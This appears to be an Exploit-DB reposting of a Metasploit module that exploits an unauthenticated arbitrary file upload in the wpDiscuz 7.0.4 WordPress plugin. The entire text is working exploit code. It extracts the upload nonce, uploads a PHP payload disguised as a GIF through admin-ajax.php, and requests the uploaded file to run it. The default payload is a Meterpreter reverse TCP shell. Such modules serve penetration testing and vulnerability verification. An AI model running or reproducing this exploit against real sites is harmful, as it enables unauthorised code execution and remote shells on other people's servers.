WordPress Plugin wpDiscuz 7.0.4 – Unauthenticated Arbitrary File Upload (Metasploit)

  • 作者: SunCSR Team
    日期: 2021-01-08
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49401/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HTTP::Wordpress
    include Msf::Exploit::FileDropper
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'WordPress wpDiscuz Unauthen File Upload Vulnerability',
    'Description'=> %q{
    This module exploits an arbitrary file upload in the WordPress wpDiscuz plugin
    version 7.0.4. This flaw gave unauthenticated attackers the ability to upload arbitrary files,
    including PHP files, and achieve remote code execution on a vulnerable site’s server.
    },
    'Author' =>
    [
    'Chloe Chamberland', # Vulnerability Discovery, initial msf module
    'Hoa Nguyen - SunCSR'# Metasploit Module Pull Request
    ],
    'License'=> MSF_LICENSE,
    'References' =>
    [
    ['WPVDB', '10333'],
    ['URL', 'https://www.wordfence.com/blog/2020/07/critical-arbitrary-file-upload-vulnerability-patched-in-wpdiscuz-plugin/'],
    ['URL','https://github.com/suncsr/wpDiscuz_unauthenticated_arbitrary_file_upload/blob/main/README.md'],
    ['URL','https://plugins.trac.wordpress.org/changeset/2345429/wpdiscuz']
    ],
    'Privileged' => false,
    'Platform' => 'php',
    'Arch' => ARCH_PHP,
    'Targets'=> [['wpDiscuz < 7.0.5', {}]],
    'DisclosureDate' => 'Feb 21 2020',
    'DefaultOptions' =>
    {
    'PAYLOAD' => 'php/meterpreter/reverse_tcp'
    },
    'DefaultTarget'=> 0))
    
    register_options [
    OptString.new('BLOGPATH',[true,'Link to the post [/index.php/2020/12/12/post1]', nil]),
    ]
    end
    
    def check
    check_plugin_version_from_readme('wpdiscuz','7.0.5')
    end
    
    def blogpath
    datastore['BLOGPATH']
    end
    
    def find_wmusecurity_id
    res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, blogpath)},5)
    wmusecurity_id = res.body.match(/wmuSecurity":"(\w+)/).captures
    return wmusecurity_id
    end
    
    def exploit
    wmusecurity_id = find_wmusecurity_id[0]
    php_page_name = rand_text_alpha(5 + rand(5)) + '.php'
    data = Rex::MIME::Message.new
    data.add_part('wmuUploadFiles', nil, nil, 'form-data; name="action"')
    data.add_part(wmusecurity_id, nil, nil, 'form-data; name="wmu_nonce"')
    data.add_part('undefined', nil, nil, 'form-data; name="wmuAttachmentsData"')
    data.add_part('1', nil, nil, 'form-data; name="postId"')
    data.add_part('GIF8' + payload.encoded, 'image/gif', nil, "form-data; name=\"wmu_files[0]\"; filename=\"#{php_page_name}\"")
    post_data = data.to_s
    
    res = send_request_cgi(
    'uri' => normalize_uri(target_uri.path ,'wp-admin', 'admin-ajax.php'),
    'method'=> 'POST',
    'ctype' => "multipart/form-data; boundary=#{data.bound}",
    'data'=> post_data
    )
    
    time = Time.new
    year = time.year.to_s
    month = "%02d" % time.month
    
    regex = res.body.match(/https?:\\\/\\\/[\w\\\/\-\.:]+\.php/)
    wp_shell_upload = /\/\w+-\d+\.\d+\.php/.match(regex.to_s).to_s.tr('/',"")
    
    if res
    if res.code == 200 && res.body =~ /#{php_page_name}/
    print_good("Payload uploaded as #{php_page_name}")
    register_files_for_cleanup(php_page_name)
    else
    fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
    end
    else
    fail_with(Failure::Unknown, "#{peer} - Server did not answer")
    end
    
    print_status("Calling payload...")
    send_request_cgi(
    { 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', "#{year}","#{month}",wp_shell_upload)},
    5
    )
    
    end
    end